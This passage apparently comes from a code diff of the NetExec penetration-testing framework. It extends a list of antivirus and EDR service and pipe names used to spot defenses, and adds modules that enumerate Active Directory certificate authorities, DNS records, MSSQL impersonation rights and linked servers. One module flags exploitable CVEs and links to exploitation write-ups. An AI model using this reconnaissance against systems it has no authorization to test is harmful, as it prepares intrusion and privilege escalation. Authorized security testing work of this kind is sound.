return NXCRPCConnection(self.connection).connect(r"\lsarpc", lsat.MSRPC_UUID_LSAT)
def open_policy(self, dce):
request = lsad.LsarOpenPolicy2()
@@ -209,6 +127,19 @@ conf = {
"services": [{"name": "AcronisActiveProtectionService", "description": "Acronis Active Protection Service"}],
"pipes": []
},
{
"name": "Avast / AVG",
"services": [
{"name": "AvastWscReporter", "description": "Avast WSC Reporter Service"},
{"name": "aswbIDSAgent", "description": "Avast IDS Agent Service"},
{"name": "AVGWscReporter", "description": "AVG WSC Reporter Service"},
{"name": "avgbIDSAgent", "description": "AVG IDS Agent Service"}
],
"pipes": [
{"name": "aswCallbackPipe*", "processes": ["AvastSvc.exe", "aswEngSrv.exe"]},
{"name": "avgCallbackPipe*", "processes": ["AVGSvc.exe", "aswEngSrv.exe"]}
]
},
{
"name": "Bitdefender",
"services": [
@@ -238,6 +169,24 @@ conf = {
"services": [{"name": "Parity", "description": "Carbon Black App Control Agent"}],
"pipes": []
},
{
"name": "Check Point Endpoint Security",
"services": [
{"name": "CPDA", "description": "Check Point Endpoint Agent"},
{"name": "vsmon", "description": "Check Point Endpoint Security Network Protection"},
{"name": "CPFileAnlyz", "description": "Check Point Endpoint Security File Analyzer"},
{"name": "EPClientUIService", "description": "Check Point Endpoint Security Client UI"}
],
"pipes": []
},
{
"name": "Cortex",
"services": [
{"name": "xdrhealth", "description": "Cortex XDR Health Helper"},
{"name": "cyserver", "description": "Cortex XDR"}
],
"pipes": []
},
{
"name": "CrowdStrike",
"services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}],
@@ -255,6 +204,24 @@ conf = {
{"name": "CybereasonAPServerProxyIpc_*", "processes": ["minionhost.exe"]}
]
},
{
"name": "Cynet",
"services": [
{"name": "CynetLauncher", "description": "CynetLauncher"}
],
"pipes": []
},
{
"name": "Elastic EDR",
"services": [
{"name": "Elastic Agent", "description": "Elastic Agent Service"},
{"name": "ElasticEndpoint", "description": "Elastic Endpoint Security Service"}
],
"pipes": [
{"name": "ElasticEndpointServiceComms-*", "processes": ["elastic-endpoint.exe"]},
{"name": "elastic-agent-system", "processes": ["elastic-agent.exe"]}
]
},
{
"name": "ESET",
"services": [
@@ -269,6 +236,24 @@ conf = {
],
"pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}],
},
{
"name": "FortiClient",
"services": [
{"name": "FA_Scheduler", "description": "FortiClient Service Scheduler"},
{"name": "FCT_SecSvr", "description": "Forticlient Endpoint Protected Process Service"}
],
"pipes": [
{"name": "FortiClient_DBLogDaemon", "processes": ["FCDBLog.exe"]},
{"name": "FC_*", "processes": ["FortiTray.exe"]}
]
},
{
"name": "FortiEDR",
"services": [
{"name": "FortiEDR Collector Service", "description": "Host component of the Fortinet Endpoint Detection and Response Platform"}
],
"pipes": []
},
{
"name": "G DATA Security Client",
"services": [
@@ -280,6 +265,40 @@ conf = {
{"name": "exploitProtectionIPC", "processes": ["AVKWCtlx64.exe"]}
]
},
{
"name": "HarfangLab EDR",
"services": [
{"name": "hurukai", "description": "HarfangLab Hurukai Agent"},
{"name": "Hurukai agent", "description": "HarfangLab Hurukai Agent Service"},
{"name": "HarfangLab Hurukai agent", "description": "HarfangLab Hurukai Agent Program"},
{"name": "hurukai-av", "description": "HarfangLab Hurukai Antivirus"},
{"name": "hurukai-ui", "description": "HarfangLab Hurukai UI"}
],
"pipes": [
{"name": "hurukai-control", "processes": ["hurukai.exe"]},
{"name": "hurukai-servicing", "processes": ["hurukai.exe"]},
{"name": "hurukai-amsi", "processes": ["hurukai.exe"]}
]
},
{
"name": "Ivanti Security",
"services": [
{"name": "STAgent$Shavlik Protect", "description": "Ivanti Security Controls Agent"},
{"name": "STDispatch$Shavlik Protect", "description": "Ivanti Security Controls Agent Dispatcher"}
],
"pipes": []
},
{
"name": "Kaseya Agent Endpoint",
"services": [
{"name": "KAENDKSAASC*", "description": "Virtual System Administrator Endpoint"},
{"name": "KAKSAASC*", "description": "Machine.Group ID:*"},
],
"pipes": [
{"name": "kaseyaUserKSA*", "processes": ["KaUsrTsk.exe"]},
{"name": "kaseyaAgentKSA*", "processes": ["AgentMon.exe"]}
]
},
{
"name": "Kaspersky Security for Windows Server",
"services": [
@@ -292,6 +311,18 @@ conf = {
{"name": "Exploit_Blocker", "processes": ["kavfswh.exe"]}
]
},
{
"name": "Malwarebytes",
"services": [
{"name": "MBAMService", "description": "Malwarebytes Service"},
{"name": "MBEndpointAgent", "description": "Malwarebytes Cloud Endpoint Agent Service"}
],
"pipes": [
{"name": "MBLG", "processes": ["MBAMService.exe"]},
{"name": "MBEA2_R", "processes": ["MBCloudEA.exe"]},
{"name": "MBEA2_W", "processes": ["MBCloudEA.exe"]}
]
},
{
"name": "Panda Adaptive Defense 360",
"services": [
@@ -304,6 +335,11 @@ conf = {
{"name": "PSANMSrvcPpal", "processes": ["PSUAService.exe"]}
]
},
{
"name": "Rapid7",
"services": [{"name": "ir_agent", "description": "Rapid7 Insight Agent"}],
"pipes": []
},
{
"name": "SentinelOne",
"services": [
@@ -317,15 +353,6 @@ conf = {
{"name": "DFIScanner.Inline.*", "processes": ["SentinelAgent.exe"]}
]
},
{
"name": "Symantec Endpoint Protection",
"services": [
{"name": "SepMasterService", "description": "Symantec Endpoint Protection"},
{"name": "SepScanService", "description": "Symantec Endpoint Protection Scan Services"},
{"name": "SNAC", "description": "Symantec Network Access Control"}
],
"pipes": []
},
{
"name": "Sophos Intercept X",
"services": [
@@ -346,6 +373,36 @@ conf = {
{"name": "sophoslivequery_*", "processes": [""]}
]
},
{
"name": "Symantec Endpoint Protection",
"services": [
{"name": "SepMasterService", "description": "Symantec Endpoint Protection"},
{"name": "SepScanService", "description": "Symantec Endpoint Protection Scan Services"},
{"name": "SNAC", "description": "Symantec Network Access Control"}
],
"pipes": []
},
{
"name": "Trellix Endpoint Detection and Response (EDR)",
"services": [
{"name": "McAfee Endpoint Security Platform Service", "description": "Trellix Core Service"},
{"name": "mfemactl", "description": "Trellix Management Service"},
{"name": "mfemms", "description": "McAfee Management Service"},
{"name": "mfefire", "description": "Trellix Firewall Core Service"},
{"name": "masvc", "description": "Trellix Agent Service"},
{"name": "macmnsvc", "description": "Trellix Agent Common Service"},
{"name": "mfetp", "description": "Trellix Endpoint Threat Prevention Service"},
{"name": "mfewc", "description": "Trellix Endpoint Security Web Control Service"},
{"name": "mfeaack", "description": "Trellix Anti-Malware Core Service"}
],
"pipes": [
{"name": "TrellixEDR_Pipe_*", "processes": ["McAfeeEDR.exe"]},
{"name": "mfemactl_*", "processes": ["mfemactl.exe"]},
{"name": "mfefire_*", "processes": ["mfefire.exe"]},
{"name": "McAfeeAgent_Pipe_*", "processes": ["McAfeeAgent.exe"]},
{"name": "mfetp_*", "processes": ["mfetp.exe"]}
]
},
{
"name": "Trend Micro Endpoint Security",
"services": [
@@ -354,7 +411,10 @@ conf = {
{"name": "Trend Micro Web Service Communicator", "description": "Trend Micro Web Service Communicator"},
{"name": "TMiACAgentSvc", "description": "Trend Micro Application Control Service (Agent)"},
{"name": "CETASvc", "description": "Trend Micro Cloud Endpoint Telemetry Service"},
{"name": "iVPAgent", "description": "Trend Micro Vulnerability Protection Service (Agent)"}
{"name": "iVPAgent", "description": "Trend Micro Vulnerability Protection Service (Agent)"},
{"name": "ds_agent", "description": "Trend Micro Deep Security Agent"},
{"name": "ds_monitor", "description": "Trend Micro Deep Security Monitor"},
{"name": "ds_notifier", "description": "Trend Micro Deep Security Notifier"}
],
"pipes": [
{"name": "IPC_XBC_XBC_AGENT_PIPE_*", "processes": ["EndpointBasecamp.exe"]},
@@ -364,6 +424,13 @@ conf = {
{"name": "OIPC_NTRTSCAN_PIPE_*", "processes": ["Ntrtscan.exe"]}
]
},
{
"name": "Wazuh",
"services": [
{"name": "WazuhSvc", "description": "Wazuh Windows Agent"}
],
"pipes": []
},
{
"name": "Windows Defender",
"services": [
@@ -372,6 +439,21 @@ conf = {
{"name": "WdNisSvc", "description": "Windows Defender Antivirus Network Inspection Service"}
],
"pipes": []
},
{
"name": "WithSecure Elements",
"services": [
{"name": "fsdevcon", "description": "WithSecure Device Control"},
{"name": "fshoster", "description": "WithSecure Hoster"},
{"name": "fsnethoster", "description": "WithSecure Hoster (Restricted)"},
{"name": "fsulhoster", "description": "WithSecure Ultralight Hoster"},
{"name": "fsulnethoster", "description": "WithSecure Ultralight Network Hoster"},
{"name": "fsulprothoster", "description": "WithSecure Ultralight Protected Hoster"},
{"name": "wsulavprohoster", "description": "WithSecure Ultralight Protected AV Hoster"}
],
"pipes": [
{"name": "FS_CCFIPC_*", "processes": ["fsatpn.exe", "fsatpl.exe", "fshoster32.exe", "fsulprothoster.exe", "fsulprothoster.exe", "fshoster64.exe", "FsPisces.exe", "fsdevcon.exe"]}
]
}
]
}
+29 -10
View File
@@ -3,8 +3,12 @@ from impacket.http import AUTH_NTLM
from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \
RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \
RPC_PROXY_RPC_OUT_DATA_404_ERR
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket import uuid
import requests
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
import contextlib
class NXCModule:
@@ -22,16 +26,15 @@ class NXCModule:
name = "enum_ca"
description = "Anonymously uses RPC endpoints to hunt for ADCS CAs"
supported_protocols = ["smb"] # Example: ['smb', 'mssql']
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
pass
"""No options available"""
def on_login(self, context, connection):
self.__username = connection.username
@@ -60,15 +63,25 @@ class NXCModule:
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
rpctransport.setRemoteHost(connection.host)
rpctransport.set_dport(self.__port)
elif self.__port in [443]:
elif self.__port == 443:
# Setting credentials only for RPC Proxy, but not for the MSRPC level
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
rpctransport.set_auth_type(AUTH_NTLM)
else:
pass
rpctransport.setRemoteHost(connection.host)
dce = None
try:
entries = self.__fetchList(rpctransport)
if int(self.__port) == 135:
rpc = NXCRPCConnection(connection, force_tcp=True)
rpc.rpc_transport = rpc.create_tcp_transport(target_ip=connection.host)
dce = rpc.rpc_transport.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
entries = list(epm.hept_lookup(None, dce=dce))
else:
entries = self.__fetchList(connection.kerberos, rpctransport)
except Exception as e:
error_text = f"Protocol failed: {e}"
context.log.fail(error_text)
@@ -79,13 +92,17 @@ class NXCModule:
RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
context.log.fail("This usually means the target does not allow "
"to connect to its epmapper using RpcProxy.")
return
return
finally:
with contextlib.suppress(Exception):
dce.disconnect()
for entry in entries:
tmpUUID = str(entry["tower"]["Floors"][0])
if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18] in epm.KNOWN_UUIDS:
exename = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]]
context.log.debug("EXEs %s" % exename)
context.log.debug(f"EXEs {exename}")
if exename == "certsrv.exe":
context.log.highlight("Active Directory Certificate Services Found.")
url = f"http://{connection.host}/certsrv/certfnsh.asp"
@@ -98,8 +115,10 @@ class NXCModule:
context.log.debug(e)
return
def __fetchList(self, rpctransport):
def __fetchList(self, doKerberos, rpctransport):
dce = rpctransport.get_dce_rpc()
if doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
resp = epm.hept_lookup(None, dce=dce)
dce.disconnect()
+224
View File
@@ -0,0 +1,224 @@
from impacket.dcerpc.v5 import rrp
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.smbconnection import SessionError
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
from impacket.nmb import NetBIOSError
class NXCModule:
"""
Initial module by: Mauriceter
Additional authors: azoxlpf, Defte, YOLOP0wn, pol4ir, NeffIsBack
"""
name = "enum_cve"
description = "Enumerate common (useful) CVEs by querying the registry for the OS version and UBR."
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
context = context
self.module_options = module_options
self.cve = "all"
self.exploitation_details = False
def options(self, context, module_options):
"""
Be aware that these checks solely rely on the OS version and UBR reported in the registry,
and do not check for the actual presence of the vulnerable components or mitigations.
Test the attack yourself to verify the host is actually vulnerable.
Currently supported CVEs:
- CVE-2025-33073 (NTLM Reflection)
- CVE-2025-58726 (Ghost SPN)
- CVE-2025-54918 (NTLM MIC Bypass)
- CVE-2025-53779 (BadSuccessor)
- CVE-2024-49019 (EKUwu / ESC15)
- CVE-2026-54121 (Certighost)
- CVE-2026-27912 (ResetNightmare)
CVE Filter for specific CVE number (default: All)
EXPLOITATION Also provide sources for exploitation details (default: False)
"""
self.listener = None
if "CVE" in module_options:
self.cve = module_options["CVE"].lower()
if "EXPLOITATION" in module_options:
self.exploitation_details = module_options["EXPLOITATION"].lower() in ["true", "1", "yes"]
def is_vulnerable(self, major, minor, build, ubr, msrc):
key = (major, minor, build)
min_patched_ubr = msrc.get(key)
if min_patched_ubr is None:
return None # Unknown product
if ubr is None:
return None
return ubr < min_patched_ubr
def on_login(self, context, connection):
connection.trigger_winreg()
try:
# Connect to RemoteRegistry to read UBR from registry
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
# Reading UBR from registry
hRootKey = rrp.hOpenLocalMachine(dce)["phKey"]
hKey = rrp.hBaseRegOpenKey(dce, hRootKey, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion")["phkResult"]
ubr = rrp.hBaseRegQueryValue(dce, hKey, "UBR")[1]
dce.disconnect()
if not ubr:
context.log.info("Could not determine OS version from registry")
return
else:
context.log.debug(f"OS version from registry: {connection.server_os_major}.{connection.server_os_minor}.{connection.server_os_build}.{ubr}")
except DCERPCException as e:
context.log.fail(f"DCERPC error: {e}")
return
except SessionError as e:
if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
context.log.info(f"RemoteRegistry is probably deactivated: {e}")
else:
context.log.fail(f"Unexpected error: {e}")
return
except (BrokenPipeError, ConnectionResetError, NetBIOSError, OSError) as e:
context.log.fail(f"DCERPC transport error: {e.__class__.__name__}: {e}")
return
# Check each CVE
for cve in self.CVE_PATCHES:
if self.cve == "all" or self.cve.lower() == cve.lower():
if self.CVE_PATCHES[cve].get("dc_only") and not connection.is_host_dc():
context.log.info(f"Skipping {self.CVE_PATCHES[cve]['alias']} - only applicable to Domain Controllers")
continue
if self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr, self.CVE_PATCHES[cve]["patches"]):
if connection.conn.isSigningRequired() and "signing_message" in self.CVE_PATCHES[cve]: # Special conditional message for some CVEs
context.log.highlight(f"{cve.upper()} - {self.CVE_PATCHES[cve]['alias']} - {self.CVE_PATCHES[cve]['signing_message']}")
else:
context.log.highlight(f"{cve.upper()} - {self.CVE_PATCHES[cve]['alias']} - {self.CVE_PATCHES[cve]['message']}")
if self.exploitation_details:
context.log.highlight(f"Exploitation details: {self.CVE_PATCHES[cve]['exploitation']}")
else:
context.log.info(f"Not vulnerable to {self.CVE_PATCHES[cve]['alias']} (UBR {ubr} >= {self.CVE_PATCHES[cve]['patches'].get((connection.server_os_major, connection.server_os_minor, connection.server_os_build), 'unknown')})")
# patches: key = (major, minor, build), value = minimum patched UBR
CVE_PATCHES = {
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073
"CVE-2025-33073": {
"alias": "NTLM reflection",
"patches": {
(10, 0, 10240): 21034, # Windows 10 1507
(10, 0, 14393): 8148, # Windows Server 2016 / Win10 1607
(10, 0, 17763): 7434, # Windows Server 2019 / Win10 1809
(10, 0, 19044): 5965, # Windows 10 21H2
(10, 0, 20348): 3807, # Windows Server 2022
(10, 0, 22621): 5472, # Windows 11 22H2
(10, 0, 25398): 1665, # Windows Server 2022 23H2
(10, 0, 26100): 4270, # Windows Server 2025 / Win11 24H2
},
"message": "Relay possible from SMB to any protocol",
"signing_message": "can relay SMB to other protocols except SMB",
"exploitation": "https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-58726
"CVE-2025-58726": {
"alias": "Ghost SPN",
"patches": {
(6, 0, 6003): 23571, # Windows Server 2008 SP2
(6, 1, 7601): 27974, # Windows Server 2008 R2 SP1
(6, 2, 9200): 25722, # Windows Server 2012
(6, 3, 9600): 22824, # Windows Server 2012 R2
(10, 0, 10240): 21161, # Windows 10 1507
(10, 0, 14393): 8519, # Windows Server 2016 / Win10 1607
(10, 0, 17763): 7919, # Windows Server 2019 / Win10 1809
(10, 0, 19044): 6456, # Windows 10 21H2
(10, 0, 20348): 4294, # Windows Server 2022
(10, 0, 22621): 6060, # Windows 11 22H2
(10, 0, 25398): 1913, # Windows Server 2022 23H2
(10, 0, 26100): 6899, # Windows Server 2025 / Win11 24H2
(10, 0, 26200): 6899, # Windows 11 25H2
},
"message": "Relay possible from SMB using Ghost SPN for Kerberos reflection",
"signing_message": "Relay possible from SMB using Ghost SPN (non HOST/CIFS) for Kerberos reflection to other protocols except SMB",
"exploitation": "https://www.semperis.com/blog/exploiting-ghost-spns-and-kerberos-reflection-for-smb-server-privilege-elevation/",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54918
# https://decoder.cloud/2025/11/24/reflecting-your-authentication-when-windows-ends-up-talking-to-itself/
"CVE-2025-54918": {
"alias": "NTLM MIC Bypass",
"dc_only": True,
"patches": {
(6, 0, 6003): 23529, # Windows Server 2008 SP2
(6, 1, 7601): 27929, # Windows Server 2008 R2 SP1
(6, 2, 9200): 25675, # Windows Server 2012
(6, 3, 9600): 22774, # Windows Server 2012 R2
(10, 0, 10240): 21128, # Windows 10 1507
(10, 0, 14393): 8422, # Windows Server 2016
(10, 0, 17763): 7792, # Windows Server 2019 / Win10 1809
(10, 0, 19044): 6332, # Windows 10 21H2
(10, 0, 20348): 4171, # Windows Server 2022
(10, 0, 22621): 5909, # Windows 11 22H2
(10, 0, 22631): 5909, # Windows 11 23H2
(10, 0, 26100): 6508, # Windows Server 2025 / Win11 24H2
},
"message": "Note that without CVE-2025-33073 only Windows Server 2025 is exploitable",
"exploitation": "https://yousofnahya.medium.com/hands-on-exploitation-of-cve-2025-54918-cf376ebb40e1",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53779
"CVE-2025-53779": {
"alias": "BadSuccessor",
"dc_only": True,
"patches": {
(10, 0, 26100): 4851, # Windows Server 2025 / Win11 24H2
},
"message": "Escalation to Domain Admin possible via dMSA Kerberos abuse",
"exploitation": "https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49019
"CVE-2024-49019": {
"alias": "ESC15 / EKUwu",
"patches": {
(6, 0, 6003): 22966, # Windows Server 2008 SP2
(6, 1, 7601): 27415, # Windows Server 2008 R2 SP1
(6, 2, 9200): 25165, # Windows Server 2012
(6, 3, 9600): 22267, # Windows Server 2012 R2
(10, 0, 14393): 7515, # Windows Server 2016
(10, 0, 17763): 6532, # Windows Server 2019 / Win10 1809
(10, 0, 20348): 2849, # Windows Server 2022
(10, 0, 25398): 1251, # Windows Server 2022 23H2
(10, 0, 26100): 2314, # Windows Server 2025 / Win11 24H2
},
"message": "If host is an AD CS / CA server, it may be vulnerable to ESC15",
"exploitation": "https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121
"CVE-2026-54121": {
"alias": "Certighost",
"patches": {
(6, 2, 9200): 26226, # Windows Server 2012
(6, 3, 9600): 23291, # Windows Server 2012 R2
(10, 0, 14393): 9339, # Windows Server 2016
(10, 0, 17763): 9020, # Windows Server 2019
(10, 0, 20348): 5386, # Windows Server 2022
(10, 0, 26100): 33158, # Windows Server 2025
},
"message": "If host is an AD CS / CA server, it may be vulnerable to Certighost",
"exploitation": "https://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27912
"CVE-2026-27912": {
"alias": "ResetNightmare",
"dc_only": True,
"patches": {
(6, 2, 9200): 26026, # Windows Server 2012
(6, 3, 9600): 23132, # Windows Server 2012 R2
(10, 0, 14393): 9060, # Windows Server 2016
(10, 0, 17763): 8644, # Windows Server 2019
(10, 0, 20348): 5020, # Windows Server 2022
(10, 0, 25398): 2274, # Windows Server 2022 23H2
(10, 0, 26100): 32690, # Windows Server 2025
},
"message": "Password reset of any account possible via Kerberos change password abuse",
"exploitation": "https://www.semperis.com/blog/identity-crisis-novel-vulnerabilities-leading-to-kerberos-downgrade-dos-and-full-domain-takeover/",
},
}
+9 -8
View File
@@ -1,5 +1,7 @@
from datetime import datetime
from nxc.helpers.logger import write_log
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
class NXCModule:
@@ -11,8 +13,7 @@ class NXCModule:
name = "enum_dns"
description = "Uses WMI to dump DNS from an AD DNS Server"
supported_protocols = ["smb", "wmi"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
@@ -28,16 +29,16 @@ class NXCModule:
def on_admin_login(self, context, connection):
if not self.domains:
domains = []
output = connection.wmi("Select Name FROM MicrosoftDNS_Zone", "root\\microsoftdns")
output = connection.wmi_query("Select Name FROM MicrosoftDNS_Zone", "root\\microsoftdns")
domains = [result["Name"]["value"] for result in output] if output else []
context.log.success(f"Domains retrieved: {domains}")
else:
domains = [self.domains]
data = ""
for domain in domains:
output = connection.wmi(
f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = {domain}",
output = connection.wmi_query(
f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = '{domain}'",
"root\\microsoftdns",
)
@@ -50,7 +51,7 @@ class NXCModule:
rname = text.split(" ")[0]
rtype = text.split(" ")[2]
rvalue = " ".join(text.split(" ")[3:])
if domain_data.get(rtype, False):
if domain_data.get(rtype):
domain_data[rtype].append(f"{rname}: {rvalue}")
else:
domain_data[rtype] = [f"{rname}: {rvalue}"]
@@ -64,4 +65,4 @@ class NXCModule:
log_name = f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
write_log(data, log_name)
context.log.display(f"Saved raw output to ~/.nxc/logs/{log_name}")
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
+49
View File
@@ -0,0 +1,49 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Enumerate SQL Server users with impersonation rights
Module by deathflamingo
"""
name = "enum_impersonate"
description = "Enumerate users with impersonation privileges"
supported_protocols = ["mssql"]
category = CATEGORY.ENUMERATION
def __init__(self):
self.mssql_conn = None
self.context = None
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
impersonate_users = self.get_impersonate_users()
if impersonate_users:
self.context.log.success("Users with impersonation rights:")
for user in impersonate_users:
self.context.log.display(f" - {user}")
else:
self.context.log.fail("No users with impersonation rights found.")
def get_impersonate_users(self) -> list:
"""
Fetches a list of users with impersonation rights.
Returns
-------
list: List of user names.
"""
query = """
SELECT DISTINCT b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name LIKE 'IMPERSONATE%'
"""
res = self.mssql_conn.sql_query(query)
return [user["name"] for user in res] if res else []
def options(self, context, module_options):
pass
+95
View File
@@ -0,0 +1,95 @@
#!/usr/bin/env python3
import contextlib
from impacket.examples.secretsdump import RemoteOperations
from impacket.dcerpc.v5 import rrp
from impacket.dcerpc.v5.rpcrt import DCERPCException
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Retrieve the list of network interfaces info (Name, IP Address, Subnet Mask, Default Gateway) from remote Windows registry'
Formerly --interfaces parameter
Made by: @Sant0rryu, @NeffIsBack
"""
name = "enum_interfaces"
description = "Retrieve the list of network interfaces info (Name, IP Address, Subnet Mask, Default Gateway) from remote Windows registry (formerly --interfaces)"
supported_protocols = ["smb"]
opsec_safe = False
category = CATEGORY.ENUMERATION
def __init__(self):
self.context = None
self.module_options = {}
def options(self, context, module_options):
"""No options available"""
def on_admin_login(self, context, connection):
"""Execute network interface enumeration on authenticated SMB connection"""
self.context = context
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
if remoteOps._RemoteOperations__rrp:
reg_handle = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, "SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces")["phkResult"]
sub_key_list = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
sub_keys = [rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, key_handle, i)["lpNameOut"][:-1] for i in range(sub_key_list)]
context.log.highlight(f"{'-Name-':<11} | {'-IP Address-':<15} | {'-SubnetMask-':<15} | {'-Gateway-':<15} | -DHCP-")
for sub_key in sub_keys:
interface = {}
try:
interface_key = f"SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\{sub_key}"
interface_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_key)["phkResult"]
# Retrieve Interace Name
interface_name_key = f"SYSTEM\\ControlSet001\\Control\\Network\\{{4D36E972-E325-11CE-BFC1-08002BE10318}}\\{sub_key}\\Connection"
interface_name_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_name_key)["phkResult"]
interface_name = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_name_handle, "Name")[1].rstrip("\x00")
interface["Name"] = str(interface_name)
if "Kernel" in interface_name:
continue
# Retrieve DHCP
try:
dhcp_enabled = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "EnableDHCP")[1]
except DCERPCException:
dhcp_enabled = False
interface["DHCP"] = bool(dhcp_enabled)
# Retrieve IPAddress
try:
ip_address = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpIPAddress" if dhcp_enabled else "IPAddress")[1].rstrip("\x00").replace("\x00", ", ")
except DCERPCException:
ip_address = None
interface["IPAddress"] = ip_address if ip_address else None
# Retrieve SubnetMask
try:
subnetmask = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "SubnetMask")[1].rstrip("\x00").replace("\x00", ", ")
except DCERPCException:
subnetmask = None
interface["SubnetMask"] = subnetmask if subnetmask else None
# Retrieve DefaultGateway
try:
default_gateway = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpDefaultGateway")[1].rstrip("\x00").replace("\x00", ", ")
except DCERPCException:
default_gateway = None
interface["DefaultGateway"] = default_gateway if default_gateway else None
context.log.highlight(f"{interface['Name']:<11} | {interface['IPAddress']!s:<15} | {interface['SubnetMask']!s:<15} | {interface['DefaultGateway']!s:<15} | {interface['DHCP']}")
except DCERPCException as e:
context.log.info(f"Failed to retrieve the network interface info for {sub_key}: {e!s}")
with contextlib.suppress(Exception):
remoteOps.finish()
except DCERPCException as e:
context.log.error(f"Failed to connect to the target: {e!s}")
+55
View File
@@ -0,0 +1,55 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Enumerate SQL Server linked servers
Module by deathflamingo, NeffIsBack
"""
name = "enum_links"
description = "Enumerate linked SQL Servers and their login configurations."
supported_protocols = ["mssql"]
category = CATEGORY.ENUMERATION
def __init__(self):
self.mssql_conn = None
self.context = None
def options(self, context, module_options):
pass
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
linked_servers = self.get_linked_servers()
if linked_servers:
self.context.log.success("Linked servers found:")
for server in linked_servers:
self.context.log.display(f" - {server}")
else:
self.context.log.fail("No linked servers found.")
if connection.admin_privs:
res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin")
srvs = [srv for srv in res if srv["Local Login"] is not None]
if not srvs:
self.context.log.fail("No linked servers found.")
return
self.context.log.success("Linked servers found:")
for srv in srvs:
self.context.log.display(f"Linked server: {srv['Linked Server']}")
self.context.log.display(f" - Local login: {srv['Local Login']}")
self.context.log.display(f" - Remote login: {srv['Remote Login']}")
def get_linked_servers(self) -> list:
"""
Fetches a list of linked servers.
Returns
-------
list: List of linked server names.
"""
query = "EXEC sp_linkedservers;"
res = self.mssql_conn.sql_query(query)
return [server["SRV_NAME"] for server in res] if res else []
+87
View File
@@ -0,0 +1,87 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Enumerate SQL Server logins (SQL, Domain, Local users)
Module by deathflamingo, modified by mpgn
"""
name = "enum_logins"
description = "Enumerate SQL Server logins (SQL, Domain, Local users)"
supported_protocols = ["mssql"]
category = CATEGORY.ENUMERATION
def __init__(self):
self.mssql_conn = None
self.context = None
